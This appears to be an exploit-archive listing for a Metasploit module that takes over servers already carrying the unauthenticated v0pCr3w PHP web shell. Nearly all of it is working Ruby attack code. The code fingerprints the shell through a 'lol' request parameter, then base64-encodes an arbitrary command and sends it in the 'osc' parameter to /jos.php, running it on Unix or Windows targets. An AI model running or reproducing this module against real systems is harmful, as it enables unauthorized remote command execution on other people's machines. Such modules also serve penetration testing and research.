v0pCr3w Web Shell Remote Code Execution

2013.03.28
Credit: bwall
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'v0pCr3w Web Shell Remote Code Execution', 'Description' => %q{ This module exploits a lack of authentication in the shell developed by v0pCr3w and is widely reused in automated RFI payloads. This module takes advantage of the shell's various methods to execute commands. }, 'License' => MSF_LICENSE, 'Author' => [ 'bwall <bwall[at]openbwall.com>', # vuln discovery & msf module ], 'References' => [ ['URL', 'https://defense.ballastsecurity.net/wiki/index.php/V0pCr3w_shell'], ['URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=f6b534edf37c3cc0aa88997810daf9c0'] ], 'Privileged' => false, 'Payload' => { 'Space' => 2000, 'BadChars' => '', 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd' } }, 'Platform' => ['unix', 'win'], 'Arch' => ARCH_CMD, 'Targets' => [ ['v0pCr3w / Unix', { 'Platform' => 'unix' } ], ['v0pCr3w / Windows', { 'Platform' => 'win' } ] ], 'DisclosureDate' => 'Mar 23 2013', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, "The path to the v0pCr3w shell", "/jos.php"]), ],self.class) end def check shell = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path.to_s), 'vars_get' => { 'lol' => '1' } }) if (shell and shell.body =~ /v0pCr3w\<br\>/ and shell.body =~ /\<br\>nob0dyCr3w/) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def http_send_command(cmd) p = Rex::Text.encode_base64(cmd) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path.to_s), 'vars_get' => { 'osc' => p } }) if not (res and res.code == 200) fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.') end end def exploit http_send_command(payload.encoded) end end

References:

https://defense.ballastsecurity.net/decoding/index.php?hash=f6b534edf37c3cc0aa88997810daf9c0


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